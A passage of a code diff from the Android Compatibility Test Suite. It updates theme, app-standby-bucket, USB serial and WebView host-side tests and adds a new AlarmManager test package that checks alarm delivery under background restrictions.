                         print("Failed to execute thread:", sys.exc_info()[0])
                         traceback.print_exc()
-                q.task_done()
+                self._q.task_done()
         except KeyboardInterrupt:
             raise
         except Empty:
@@ -86,7 +86,7 @@
     result = 0
     threads = []
     for i in range(num_threads):
-        t = ParallelExecutor(tasks, q)
+        t = ParallelExecutor(tasks, setup, q)
         t.start()
         threads.append(t)
     for t in threads:
@@ -181,7 +181,10 @@
 
 
 def start_emulator(name, density):
-    emu_path = get_emulator_path()
+    if name == "local":
+        emu_path = ""
+    else:
+        emu_path = get_emulator_path()
 
     # Start emulator for 560dpi, normal screen size.
     test_avd = AVD(name, emu_path)
@@ -226,18 +229,21 @@
         tasks = [do_capture]
         setup = (theme_apk, out_path)
 
-        devices = enumerate_android_devices('emulator')
+        devices = enumerate_android_devices()
 
-        device_queue = Queue()
-        for device in devices:
-            device_queue.put(device)
+        if len(devices) > 0:
+            device_queue = Queue()
+            for device in devices:
+                device_queue.put(device)
 
-        result = execute_parallel(tasks, setup, device_queue, len(devices))
+            result = execute_parallel(tasks, setup, device_queue, len(devices))
 
-        if result > 0:
-            print('Generated reference images for %(count)d devices' % {"count": result})
+            if result > 0:
+                print('Generated reference images for %(count)d devices' % {"count": result})
+            else:
+                print('Failed to generate reference images')
         else:
-            print('Failed to generate reference images')
+            print('No devices found')
 
 
 if __name__ == '__main__':
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 5c82e2a..017febc 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -93,7 +93,7 @@
         mDevice = getDevice();
         mHardwareType = mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim();
 
-        final String density = getDensityBucketForDevice(mDevice, mHardwareType);
+        final String density = getDensityBucketForDevice(mDevice);
         final String referenceZipAssetPath = String.format("/%s.zip", density);
         mReferences = extractReferenceImages(referenceZipAssetPath);
 
@@ -231,11 +231,7 @@
         return receiver.getOutput().contains("OK ");
     }
 
-    private static String getDensityBucketForDevice(ITestDevice device, String hardwareType) {
-        if (hardwareType.contains("android.hardware.type.television")) {
-            // references images for tv are under bucket "tvdpi".
-            return "tvdpi";
-        }
+    private static String getDensityBucketForDevice(ITestDevice device) {
         final int density;
         try {
             density = getDensityForDevice(device);
@@ -250,6 +246,9 @@
             case 160:
                 bucket = "mdpi";
                 break;
+            case 213:
+                bucket = "tvdpi";
+                break;
             case 240:
                 bucket = "hdpi";
                 break;
diff --git a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
index 3cd7bda..7f4f550 100644
--- a/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
+++ b/hostsidetests/usage/src/android/app/usage/cts/AppIdleHostTest.java
@@ -16,10 +16,16 @@
 
 package android.app.usage.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceTestCase;
 
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
 public class AppIdleHostTest extends DeviceTestCase {
     private static final String SETTINGS_APP_IDLE_CONSTANTS = "app_idle_constants";
 
@@ -28,6 +34,12 @@
 
     private static final long ACTIVITY_LAUNCH_WAIT_MILLIS = 500;
 
+    private static final int SB_ACTIVE = 10;
+    private static final int SB_WORKING_SET = 20;
+    private static final int SB_FREQUENT = 30;
+    private static final int SB_RARE = 40;
+    private static final int SB_NEVER = 50;
+
     /**
      * A reference to the device under test.
      */
@@ -104,6 +116,47 @@
         }
     }
 
+    private void setAppStandbyBucket(String packageName, int bucket) throws Exception {
+        mDevice.executeShellCommand(
+                String.format("am set-standby-bucket %s %s", packageName, bucket));
+    }
+
+    private int getAppStandbyBucket(String packageName) throws Exception {
+        String bucketString = mDevice.executeShellCommand(
+                String.format("am get-standby-bucket %s", packageName));
+        System.err.println(bucketString);
+        try {
+            return Integer.parseInt(bucketString.trim());
+        } catch (NumberFormatException nfe) {
+        }
+        return -1;
+    }
+
+    public void testSetAppStandbyBucket() throws Exception {
+        // Set to ACTIVE
+        setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+        // set to WORKING_SET
+        setAppStandbyBucket(TEST_APP_PACKAGE, 20);
+        assertEquals(20, getAppStandbyBucket(TEST_APP_PACKAGE));
+    }
+
+    public void testCantSetOwnStandbyBucket() throws Exception {
+        setAppStandbyBucket("com.android.shell", 40);
+        assertNotEquals(40, getAppStandbyBucket("com.android.shell"));
+    }
+
+    public void testOutOfBoundsStandbyBucket() throws Exception {
+        setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+        // Try lower than min
+        setAppStandbyBucket(TEST_APP_PACKAGE, SB_ACTIVE - 1);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+        // Try higher than max
+        setAppStandbyBucket(TEST_APP_PACKAGE, 50 + 1);
+        assertEquals(SB_ACTIVE, getAppStandbyBucket(TEST_APP_PACKAGE));
+    }
+
     private static void sleepUninterrupted(long timeMillis) {
         boolean interrupted;
         do {
diff --git a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
index a75dd75..7c627ee 100644
--- a/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
+++ b/hostsidetests/usb/SerialTestApp/AndroidManifest.xml
@@ -17,6 +17,10 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.usb.serialtest">
 
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
index a2b0c72..f47c2d2 100644
--- a/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
+++ b/hostsidetests/usb/SerialTestApp/src/com/android/cts/usb/serialtest/UsbSerialTest.java
@@ -28,6 +28,6 @@
     private static final String TAG = "CtsUsbSerialTest";
 
     public void testSerial() throws Exception {
-        Log.e(TAG, Build.SERIAL);
+        Log.e(TAG, Build.getSerial());
     }
 }
diff --git a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
index 81cc265..47efe85 100644
--- a/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
+++ b/hostsidetests/usb/src/com/android/cts/usb/TestUsbTest.java
@@ -65,7 +65,7 @@
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         File app = buildHelper.getTestFile(APK_NAME);
         String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
-        mDevice.installPackage(app, false, options);
+        mDevice.installPackage(app, false, true, options);
     }
 
     @Override
diff --git a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
index 53f4a49..5953c5d 100644
--- a/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
+++ b/hostsidetests/webkit/src/com/android/cts/webkit/WebViewHostSideStartupTest.java
@@ -17,12 +17,13 @@
 
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestResult;
 import com.android.ddmlib.testrunner.TestRunResult;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.CollectingTestListener;
 import com.android.tradefed.testtype.DeviceTestCase;
 
-import java.util.Map;
+import java.util.Collection;
 
 public class WebViewHostSideStartupTest extends DeviceTestCase {
     private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
@@ -35,26 +36,35 @@
     }
 
     public void testCookieManager() throws DeviceNotAvailableException {
-        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
-                    "testCookieManagerBlockingUiThread"));
+        assertDeviceTestPasses("testCookieManagerBlockingUiThread");
     }
 
     public void testWebViewVersionApiOnUiThread() throws DeviceNotAvailableException {
-        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
-                    "testGetCurrentWebViewPackageOnUiThread"));
+        assertDeviceTestPasses("testGetCurrentWebViewPackageOnUiThread");
     }
 
     public void testWebViewVersionApi() throws DeviceNotAvailableException {
-        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
-                    "testGetCurrentWebViewPackage"));
+        assertDeviceTestPasses("testGetCurrentWebViewPackage");
     }
 
     public void testStrictMode() throws DeviceNotAvailableException {
-        assertTrue(runDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG, DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
-                    "testStrictModeNotViolatedOnStartup"));
+        assertDeviceTestPasses("testStrictModeNotViolatedOnStartup");
     }
 
-    private boolean runDeviceTest(String packageName, String testClassName,
+    private void assertDeviceTestPasses(String testMethodName) throws DeviceNotAvailableException {
+        TestRunResult testRunResult = runSingleDeviceTest(DEVICE_WEBVIEW_STARTUP_PKG,
+                                                 DEVICE_WEBVIEW_STARTUP_TEST_CLASS,
+                                                 testMethodName);
+        assertTrue(testRunResult.isRunComplete());
+
+        Collection<TestResult> testResults = testRunResult.getTestResults().values();
+        // We're only running a single test.
+        assertEquals(1, testResults.size());
+        TestResult testResult = testResults.toArray(new TestResult[1])[0];
+        assertTrue(testResult.getStackTrace(), TestStatus.PASSED.equals(testResult.getStatus()));
+    }
+
+    private TestRunResult runSingleDeviceTest(String packageName, String testClassName,
             String testMethodName) throws DeviceNotAvailableException {
         testClassName = packageName + "." + testClassName;
 
@@ -65,7 +75,6 @@
         CollectingTestListener listener = new CollectingTestListener();
         assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
 
-        TestRunResult runResult = listener.getCurrentRunResults();
-        return !runResult.hasFailedTests() && runResult.getNumTestsInState(TestStatus.PASSED) > 0;
+        return listener.getCurrentRunResults();
     }
 }
diff --git a/tests/AlarmManager/Android.mk b/tests/AlarmManager/Android.mk
new file mode 100755
index 0000000..a1676ab
--- /dev/null
+++ b/tests/AlarmManager/Android.mk
@@ -0,0 +1,38 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, app/src)
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsAlarmManagerTestCases
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under, $(LOCAL_PATH))
diff --git a/tests/AlarmManager/AndroidManifest.xml b/tests/AlarmManager/AndroidManifest.xml
new file mode 100644
index 0000000..f557b51
--- /dev/null
+++ b/tests/AlarmManager/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.alarmmanager.cts" >
+
+    <application android:label="Cts Alarm Manager Test">
+        <uses-library android:name="android.test.runner"/>
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:functionalTest="true"
+                     android:targetPackage="android.alarmmanager.cts"
+                     android:label="Alarm Manager Tests"/>
+</manifest>
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
new file mode 100644
index 0000000..a31e6da
--- /dev/null
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<configuration description="Config for CTS Alarm Manager test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsAlarmManagerTestCases.apk" />
+        <option name="test-file-name" value="AlarmTestApp.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.alarmmanager.cts" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+
+</configuration>
diff --git a/tests/AlarmManager/app/Android.mk b/tests/AlarmManager/app/Android.mk
new file mode 100644
index 0000000..b2023e9
--- /dev/null
+++ b/tests/AlarmManager/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := AlarmTestApp
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/AlarmManager/app/AndroidManifest.xml b/tests/AlarmManager/app/AndroidManifest.xml
new file mode 100644
index 0000000..ceb8fb9
--- /dev/null
+++ b/tests/AlarmManager/app/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.alarmmanager.alarmtestapp.cts">
+
+    <application>
+        <activity android:name=".TestAlarmActivity"
+                  android:exported="true" />
+        <receiver android:name=".TestAlarmReceiver" />
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java
new file mode 100644
index 0000000..8f666dd8
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.app.Activity;
+import android.app.AlarmManager;
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * This Activity is to be used as part of
+ * {@link android.alarmmanager.cts.BackgroundRestrictedAlarmsTest}
+ */
+public class TestAlarmActivity extends Activity {
+    private static final String TAG = TestAlarmActivity.class.getSimpleName();
+    private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+
+    public static final String ACTION_SET_ALARM = PACKAGE_NAME + ".action.SET_ALARM";
+    public static final String EXTRA_TRIGGER_TIME = PACKAGE_NAME + ".extra.TRIGGER_TIME";
+    public static final String EXTRA_REPEAT_INTERVAL = PACKAGE_NAME + ".extra.REPEAT_INTERVAL";
+    public static final String EXTRA_TYPE = PACKAGE_NAME + ".extra.TYPE";
+    public static final String ACTION_SET_ALARM_CLOCK = PACKAGE_NAME + ".action.SET_ALARM_CLOCK";
+    public static final String EXTRA_ALARM_CLOCK_INFO = PACKAGE_NAME + ".extra.ALARM_CLOCK_INFO";
+    public static final String ACTION_CANCEL_ALL_ALARMS = PACKAGE_NAME + ".action.CANCEL_ALARMS";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final AlarmManager am = getSystemService(AlarmManager.class);
+        final Intent intent = getIntent();
+        final Intent receiverIntent = new Intent(this, TestAlarmReceiver.class);
+        receiverIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        final PendingIntent alarmClockSender =
+                PendingIntent.getBroadcast(this, 0, receiverIntent, 0);
+        final PendingIntent alarmSender = PendingIntent.getBroadcast(this, 1, receiverIntent, 0);
+        switch (intent.getAction()) {
+            case ACTION_SET_ALARM_CLOCK:
+                if (!intent.hasExtra(EXTRA_ALARM_CLOCK_INFO)) {
+                    Log.e(TAG, "No alarm clock supplied");
+                    break;
+                }
+                final AlarmManager.AlarmClockInfo alarmClockInfo =
+                        intent.getParcelableExtra(EXTRA_ALARM_CLOCK_INFO);
+                Log.d(TAG, "Setting alarm clock " + alarmClockInfo);
+                am.setAlarmClock(alarmClockInfo, alarmClockSender);
+                break;
+            case ACTION_SET_ALARM:
+                if (!intent.hasExtra(EXTRA_TYPE) || !intent.hasExtra(EXTRA_TRIGGER_TIME)) {
+                    Log.e(TAG, "Alarm type or trigger time not supplied");
+                    break;
+                }
+                final int type = intent.getIntExtra(EXTRA_TYPE, 0);
+                final long triggerTime = intent.getLongExtra(EXTRA_TRIGGER_TIME, 0);
+                final long interval = intent.getLongExtra(EXTRA_REPEAT_INTERVAL, 0);
+                Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+                        + ", interval=" + interval);
+                if (interval > 0) {
+                    am.setRepeating(type, triggerTime, interval, alarmSender);
+                } else {
+                    am.setExact(type, triggerTime, alarmSender);
+                }
+                break;
+            case ACTION_CANCEL_ALL_ALARMS:
+                Log.d(TAG, "Cancelling all alarms");
+                am.cancel(alarmClockSender);
+                am.cancel(alarmSender);
+                break;
+            default:
+                Log.e(TAG, "Unspecified action " + intent.getAction());
+                break;
+        }
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
new file mode 100644
index 0000000..a083e08
--- /dev/null
+++ b/tests/AlarmManager/app/src/android/alarmmanager/alarmtestapp/cts/TestAlarmReceiver.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.alarmtestapp.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+public class TestAlarmReceiver extends BroadcastReceiver{
+    private static final String TAG = TestAlarmReceiver.class.getSimpleName();
+    private static final String PACKAGE_NAME = "android.alarmmanager.alarmtestapp.cts";
+    public static final String ACTION_REPORT_ALARM_EXPIRED = PACKAGE_NAME + ".action.ALARM_EXPIRED";
+    public static final String EXTRA_ALARM_COUNT = PACKAGE_NAME + ".extra.ALARM_COUNT";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        final int count = intent.getIntExtra(Intent.EXTRA_ALARM_COUNT, 1);
+        Log.d(TAG, "Alarm expired " + count + " times");
+        final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM_EXPIRED);
+        reportAlarmIntent.putExtra(EXTRA_ALARM_COUNT, count);
+        reportAlarmIntent.addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
+        context.sendBroadcast(reportAlarmIntent);
+    }
+}
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
new file mode 100644
index 0000000..2b37bfd
--- /dev/null
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/BackgroundRestrictedAlarmsTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.alarmmanager.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.alarmmanager.alarmtestapp.cts.TestAlarmActivity;
+import android.alarmmanager.alarmtestapp.cts.TestAlarmReceiver;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class BackgroundRestrictedAlarmsTest {
+    private static final String TAG = BackgroundRestrictedAlarmsTest.class.getSimpleName();
+    private static final String TEST_APP_PACKAGE = "android.alarmmanager.alarmtestapp.cts";
+    private static final String TEST_APP_ACTIVITY = TEST_APP_PACKAGE + ".TestAlarmActivity";
+    private static final String APP_OP_RUN_ANY_IN_BACKGROUND = "RUN_ANY_IN_BACKGROUND";
+    private static final String APP_OP_MODE_ALLOWED = "allow";
+    private static final String APP_OP_MODE_IGNORED = "ignore";
+
+    private static final long DEFAULT_WAIT = 1_000;
+    private static final long POLL_INTERVAL = 1_000;
+    private static final long MIN_REPEATING_INTERVAL = 10_000;
+
+    private Object mLock = new Object();
+    private Context mContext;
+    private ComponentName mAlarmActivity;
+    private UiDevice mUiDevice;
+    private int mAlarmCount;
+
+    private final BroadcastReceiver mAlarmStateReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            Log.d(TAG, "Received action " + intent.getAction()
+                    + " elapsed: " + SystemClock.elapsedRealtime());
+            synchronized (mLock) {
+                mAlarmCount = intent.getIntExtra(TestAlarmReceiver.EXTRA_ALARM_COUNT, 1);
+            }
+        }
+    };
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mAlarmActivity = new ComponentName(TEST_APP_PACKAGE, TEST_APP_ACTIVITY);
+        mAlarmCount = 0;
+        updateAlarmManagerConstants();
+        setAppOpsMode(APP_OP_MODE_IGNORED);
+        final IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(TestAlarmReceiver.ACTION_REPORT_ALARM_EXPIRED);
+        mContext.registerReceiver(mAlarmStateReceiver, intentFilter);
+    }
+
+    private void scheduleAlarm(int type, long triggerMillis, long interval) {
+        final Intent setAlarmIntent = new Intent(TestAlarmActivity.ACTION_SET_ALARM);
+        setAlarmIntent.setComponent(mAlarmActivity);
+        setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_TYPE, type);
+        setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_TRIGGER_TIME, triggerMillis);
+        setAlarmIntent.putExtra(TestAlarmActivity.EXTRA_REPEAT_INTERVAL, interval);
+        setAlarmIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(setAlarmIntent);
+    }
+
+    private void scheduleAlarmClock(long triggerRTC) {
+        AlarmManager.AlarmClockInfo alarmInfo = new AlarmManager.AlarmClockInfo(triggerRTC, null);
+
+        final Intent setAlarmClockIntent = new Intent(TestAlarmActivity.ACTION_SET_ALARM_CLOCK);
+        setAlarmClockIntent.setComponent(mAlarmActivity);
+        setAlarmClockIntent.putExtra(TestAlarmActivity.EXTRA_ALARM_CLOCK_INFO, alarmInfo);
+        setAlarmClockIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(setAlarmClockIntent);
+    }
+
+    private static int getMinExpectedExpirations(long now, long start, long interval) {
+        if (now - start <= 1000) {
+            return 0;
+        }
+        return 1 + (int)((now - start - 1000)/interval);
+    }
+
+    @Test
+    public void testRepeatingAlarmBlocked() throws Exception {
+        final long interval = MIN_REPEATING_INTERVAL;
+        final long triggerElapsed = SystemClock.elapsedRealtime() + interval;
+        scheduleAlarm(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerElapsed, interval);
+        Thread.sleep(DEFAULT_WAIT);
+        makeTestPackageIdle();
+        Thread.sleep(2 * interval);
+        assertFalse("Alarm got triggered even under restrictions", waitForAlarms(1, DEFAULT_WAIT));
+        Thread.sleep(interval);
+        setAppOpsMode(APP_OP_MODE_ALLOWED);
+        // The alarm is due to go off about 3 times by now. Adding some tolerance just in case
+        // an expiration is due right about now.
+        final int minCount = getMinExpectedExpirations(SystemClock.elapsedRealtime(),
+                triggerElapsed, interval);
+        assertTrue("Alarm should have expired at least " + minCount
+                + " times when restrictions were lifted", waitForAlarms(minCount, DEFAULT_WAIT));
+    }
+
+    @Test
+    public void testAlarmClockNotBlocked() throws Exception {
+        final long nowRTC = System.currentTimeMillis();
+        final long waitInterval = 10_000;
+        final long triggerRTC = nowRTC + waitInterval;
+        scheduleAlarmClock(triggerRTC);
+        Thread.sleep(waitInterval);
+        assertTrue("AlarmClock did not go off as scheduled when under restrictions",
+                waitForAlarms(1, DEFAULT_WAIT));
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        deleteAlarmManagerConstants();
+        setAppOpsMode(APP_OP_MODE_ALLOWED);
+        // Cancel any leftover alarms
+        final Intent cancelAlarmsIntent = new Intent(TestAlarmActivity.ACTION_CANCEL_ALL_ALARMS);
+        cancelAlarmsIntent.setComponent(mAlarmActivity);
+        cancelAlarmsIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(cancelAlarmsIntent);
+        mContext.unregisterReceiver(mAlarmStateReceiver);
+        // Broadcast unregister may race with the next register in setUp
+        Thread.sleep(DEFAULT_WAIT);
+    }
+
+    private void updateAlarmManagerConstants() throws IOException {
